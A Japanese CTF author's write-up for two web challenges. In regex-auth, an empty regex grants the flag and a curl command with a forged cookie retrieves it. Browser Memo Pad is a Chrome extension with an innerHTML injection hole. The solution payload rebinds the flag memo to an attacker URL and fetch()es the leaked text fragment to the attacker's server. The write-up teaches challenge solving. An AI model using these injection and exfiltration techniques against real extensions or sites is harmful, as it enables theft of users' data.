💙

Full Weak Engineer CTF 2025 作問者Writeup (Web)

に公開

はじめに

Full Weak Engineer CTF 2025の作問をさせていただきました!
今回私が作った問題は以下になります。

  • [web] regex-auth
  • [web] Browser Memo Pad

これらの問題はGitHub上で公開されているため、ぜひ解いてみてください!
https://github.com/full-weak-engineer/FWE_CTF_2025_public/tree/main

また、他の作問者のwriteupもぜひご覧ください!(随時更新します)

Full Weak Engineer CTF作問者 Writeup

[web] regex-auth

正規表現で認可制御をしてみました!
I tried implementing authorization control with regular expressions!
http://chal2.fwectf.com:8001/
添付ファイル: regex-auth.zip

問題の解説

ログイン画面が与えられており、適当なユーザーを入力すると、idとロールが割り当てられます。

idの割り当ては以下のように実装されており、既存ユーザーの場合はuser_から始まるid、そうでない場合はguest_から始まるidが割り当てられ、それらのidはbase64エンコードされた上でCookieに保存されます。

app.py
if username in USERS:
    user_id = f"user_{random.randint(10000, 99999)}"
else:
    user_id = f"guest_{random.randint(10000, 99999)}"

uid = base64.b64encode(user_id.encode()).decode()

resp.set_cookie("uid", uid)

ロールの割り当ては以下のような実装になっています。

app.py
@app.route("/dashboard")
def dashboard():
    username = request.cookies.get("username")
    uid = request.cookies.get("uid")

    if not username or not uid:
        return redirect("/")

    try:
        user_id = base64.b64decode(uid).decode()
    except Exception:
        return redirect("/")

    if re.match(r"user.*", user_id, re.IGNORECASE):
        role = "USER"
    elif re.match(r"guest.*", user_id, re.IGNORECASE):
        role = "GUEST"
    elif re.match(r"", user_id, re.IGNORECASE): 
        role = f"{FLAG}"
    else:
        role = "OTHER"

    return render_template_string(dashboard_page, user=username, uid=user_id, role=role)

FLAGを手に入れるには、以下の条件を満たす必要があります。

  • usernameをキーとするCookieが含まれている
  • uidをキーとするCookieの値がbase64でデコード可能
  • uidの値が正規表現のr"user.*"r"guest.*"にマッチせず、r""にマッチする

解法

実は正規表現には空マッチというものがあり、r""は文字列の”位置”にマッチします。
そのため、どのような文字列も必ずr""とマッチします。

>>> re.findall("", "hoge")
['', '', '', '', '']`

よって、userguestから始まらない適当な文字列をbase64エンコードし、その値を送信することでFLAGを手に入れることができます。

curl -X GET http://chal2.fwectf.com:8001/dashboard \
  -H "Cookie: username=hoge; uid=aG9nZQo="

fwectf{emp7y_regex_m47che5_every7h1ng}

[web] Browser Memo Pad

Chrome拡張機能を作ってみました!ぜひ使ってください!

I created a Chrome extension! Please give it a try!

hint1

拡張機能をChromeに追加する方法

  1. chrome://extensions/ にアクセスする
  2. 画面右上の開発者モードをオンにする
  3. 「パッケージ化されていない拡張機能を読み込む」ボタンをクリックする
  4. 問題ファイルに含まれるextensionファイルを選択する

How to Add Extensions to Chrome

  1. Access chrome://extensions/
  2. Turn on Developer mode at the top-right of the screen
  3. Click the "Load unpacked" button
  4. Select the extension folder included in the problematic files

hint2

botにメモを保存させる時は、window.postMessage({ type: "create", payload }) を使ってください。

To make the bot save a memo, use window.postMessage({ type: "create", payload }).

http://chal2.fwectf.com:8013/
添付ファイル: browser-memo-pad.zip

問題の解説

配布ファイルにはChrome拡張機能が含まれており、問題のURLにアクセスするとAdmin Botのページが表示されます。
拡張機能の説明は、添付ファイルのREADME.mdに書かれており、以下のような内容になっています。

実際にメモを保存し、URLにアクセスしてみると、以下のように保存した文字列がハイライトされます。
これはテキストフラグメントと呼ばれる機能で、URLの後ろに#:~:text={サイト内の文字列}をつけることで、文字列がハイライトされます。

botの挙動は、次のようになっています。

  1. FLAGをメモに保存(一番最初のメモとして保存される)
  2. 攻撃者のサイトに訪れる
  3. 拡張機能のページ(chrome-extension://${extensionId}/popup.html)を開く
    (つまり拡張機能のアイコンをクリックして保存した内容を閲覧する状態になる)
  4. 最新のメモに記載されているURLを開く
CTFにおけるbotとは?

CTF問題において、botはよく「被害者の挙動」を再現する役割を果たします。

例えば、WebのXSS問題では、botにFLAGを含むCookieを持たせた上で攻撃者が用意したサイトを訪問させることで、悪意のあるサイトを読み込んだ際にCookieの情報が漏洩するという攻撃を表現できます。

ちなみに、このような問題でCTFプレイヤーが用意する攻撃者サーバーとしては、以下のようなものが代表的です。botがある問題の多くはサーバーを用意する必要があります。

bot.js
const FLAG = process.env.FLAG ?? "fwectf{fake_flag}";

const page1 = await browser.newPage();
await page1.goto(`http://localhost:1337/`, { timeout: 3000 });
await page1.waitForSelector('meta[memopad-extensionId]', { timeout: 3000 });
await page1.evaluate((flag) => {
  window.postMessage({type: "create", payload: flag});
}, FLAG);
const extensionId = await page1.evaluate('document.querySelector("meta[memopad-extensionId]").getAttribute("memopad-extensionId")')

await page1.goto(url, { timeout: 5000 });
await sleep(5000);

await page1.goto(`chrome-extension://${extensionId}/popup.html`, { timeout: 5000 });
await page1.waitForSelector('.memo-url', { timeout: 3000 });
const els = await page1.$$('.memo-url');
await els[els.length - 1].click();
await sleep(5000);
await page1.close();

ここからは拡張機能の実装について見ていきます。
まず、Chrome拡張は主に以下のようなファイルを含みます。

  • マニフェストファイル(manifest.json)
    拡張機能の構造と動作に関する重要な情報がリストされているファイル
  • コンテンツスクリプト
    ウェブページのコンテキストで実行されるファイル
  • ポップアップファイル
    • ユーザーがブラウザの拡張機能のアイコンをクリックしたときに実行されるファイル

今回の拡張機能では、以下のようなファイル構成でした。[1]

extension
├── content.css 
├── content.js             ← Webページに注入されるスクリプト(コンテンツスクリプト)
├── icon48.png             ← アイコン
├── manifest.json          ← 拡張の設定ファイル
├── popup.html             ← 拡張のポップアップUI(ポップアップファイル)
└── popup.js               ← ポップアップのロジック(ポップアップファイル)

content.jsには「カーソルでなぞった文字列を拡張機能に保存する機能」が書かれていました。
(また、botが回答できるようにするための機能も少し含まれていました。)

そして、popup.jsでは「保存したメモをlocalStorageから読み取って表示する機能」と、「保存したサイトのURLにテキストフラグメント(#:~:text=)を付与する機能」が実装されていました。

popup.js
chrome.storage.local.get(['memos'], function(result) {
    const memos = result.memos || [];
    const memoList = document.getElementById('memoList');
    
    if (memos.length === 0) {
        memoList.innerHTML = '<div class="no-memos">No memos saved</div>';
        return;
    }
    
    // Insert the generated HTML into the memo list element
    let html = '';
    memos.forEach((memo, index) => {
        html += `
            <div class="memo-item" data-index="${index}">
                <div class="memo-content">${memo.text}</div>
                <div class="memo-meta">
                    📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
                    🕒 <span class="memo-time">${memo.timestamp}</span>
                </div>
                <button class="delete-btn" data-id="${index}">🗑️</button>
            </div>
        `;
    });
    memoList.innerHTML = html;
popup.js
  // View the website from which the memo was saved
  const links = memoList.querySelectorAll('.memo-url');
  links.forEach(link => {
      link.addEventListener('click', function (e) {
          e.preventDefault();

          const dataIndex = link.closest('.memo-item')?.dataset.index;
          if (dataIndex === undefined) return;

          chrome.storage.local.get('memos', ({ memos = [] }) => {
              const memo = memos[+dataIndex];
              if (!memo) return;

              const url = link.href.split('#')[0];
              if(!url.startsWith('http://')  && !url.startsWith('https://')) {
                  console.error('invalid url');
                  return;
              }
              const encodedText = encodeURIComponent(memo.text);
              const urlWithFragment = `${url}#:~:text=${encodedText}`;

              chrome.tabs.create({ url: urlWithFragment });
          });
      });
  });

解法

保存したメモを表示する箇所の実装をよく見てみると、innerHTMLが使用されており、HTMLインジェクションが可能であることが分かります。

popup.js
memos.forEach((memo, index) => {
        html += `
            <div class="memo-item" data-index="${index}">
                <div class="memo-content">${memo.text}</div>
                <div class="memo-meta">
                    📍 <a class="memo-url" href="${memo.url}">${memo.origin}</a> |
                    🕒 <span class="memo-time">${memo.timestamp}</span>
                </div>
                <button class="delete-btn" data-id="${index}">🗑️</button>
            </div>
        `;
    });
    memoList.innerHTML = html;

一見するとXSSもできそうに思えますが、manifest.jsonにはContent Security Policy(CSP)の設定が記述されているため、攻撃はできません。[2]

manifest.json
"content_security_policy": {
  "extension_pages": "script-src 'self'"
}

次に、テキストフラグメント(#:~:text=)を付与する機能を見ると、closest()メソッドを使用してHTMLのindex変数を取得し、その値をもとにテキストフラグメントに指定するメモの内容を指定しています。

popup.js
const dataIndex = link.closest('.memo-item')?.dataset.index;
if (dataIndex === undefined) return;

chrome.storage.local.get('memos', ({ memos = [] }) => {
    const memo = memos[+dataIndex];
    if (!memo) return;
    ...
    const encodedText = encodeURIComponent(memo.text);
    const urlWithFragment = `${url}#:~:text=${encodedText}`;

    chrome.tabs.create({ url: urlWithFragment });

そのため、HTMLインジェクションを用いてindex変数を任意の値に変更することで、URLとメモの内容の結びつけを書き換えることができます。
具体的には、攻撃者が用意したサイトで以下のようなメモを保存させることで、indexが0として保存されているFLAGが含まれたメモを攻撃者のURLに紐付けることができます。

<div class="memo-item" data-index="0" style="all: unset;"><p>hogehoge</p><div>

実際に上記のメモを保存し、URLをクリックするとhttp://[攻撃者のURL]/#:~:text=[フラグ]のようなリクエストが飛びます。
あとは攻撃者のサイトで#以降のフラグの値を取得すれば良いのですが、そう簡単には取得できません。

前提として、URLの#はフラグメント識別子と呼ばれ、サーバーには送信されません。
#は「ページ内の特定の場所を指定する役割」を持ち、クライアント側のための機能だからです)

そのため、この値をサーバー側で取得するには、Webサイト内のJavaScriptで#の値を取り出し、クエリ文字列(?)などでサーバー側に送信する必要があります。

通常、#以降の値はlocation.hashを用いて取得できます。しかし、今回はテキストフラグメント(#:~:text=)が使用されており、この値はlocation.hashを使用しても取得することができません。

そこで、テキストフラグメントの値を取得する方法をネットで検索すると以下のようなサイトが見つかります。

https://stackoverflow.com/questions/67039633/get-the-text-fragment-part-of-current-url-from-window-location

このサイトでは、performance APIを使用し、URL全体を取得することでテキストフラグメントの内容を取得する方法が書かれています。

これらのことを組み合わせて、以下のようなHTMLを攻撃者のサイトで配信することでFLAGが取得できます。
問題のhintsにもあるように、botにメモを保存させる時はwindow.postMessage({ type: "create", payload })を使いましょう。

<!DOCTYPE html>
<html lang="en">
<body>
<div id="container"></div>
<script>
  setTimeout(() => {
    const rawHtml = '<div class="memo-item" data-index="0" style="all: unset;"><p>hogehoge</p><div>';
    document.getElementById('container').innerText = rawHtml;
    window.postMessage({ type: "create", payload: rawHtml });

    const nav = performance.getEntriesByType("navigation");
    if (nav.length) fetch('?' + encodeURIComponent(nav[0].name));
  }, 2000);
</script>
</body>
</html>

補足: 上記のHTMLの<div id="container"></div>document.getElementById('container').innerText = rawHtml;は手動で挙動を確認するために記述しているもので、消しても動作します。

fwectf{3xt3n510n_15_4774ck_5urf4c3}

最後に

人生初のCTF作問&運営でしたが、とても楽しかったです!

作問では、参加者に学びを与えることを意識して作ることが予想以上に難しかったです。
しかし、自作の問題が解かれたときの快感や、参加者にwriteupを書いてもらえる喜びは格別でした!!
「Browser Memo Pad」に関しては人気youtuberのkurenaifさんに問題解説もしていただけて最高でした!

また次もCTFの作問に挑戦してみたいなと思います!
問題に取り組んでくださった参加者の方々、運営の皆さん、ありがとうございました!!

脚注
  1. 当日の配布ファイルには、こちらの手違いで不要なファイル(background.js)が含まれていました。混乱を招いてしまい、申し訳ございませんでした。 ↩︎

  2. 本来はmanifest.jsonにCSPの設定は記述せず、拡張機能のデフォルト設定のままにする予定でした。Chrome拡張機能のデフォルト設定でも十分強固なCSPが設定されています。
    https://developer.chrome.com/docs/extensions/reference/manifest/content-security-policy?hl=ja#default_policy ↩︎

Discussion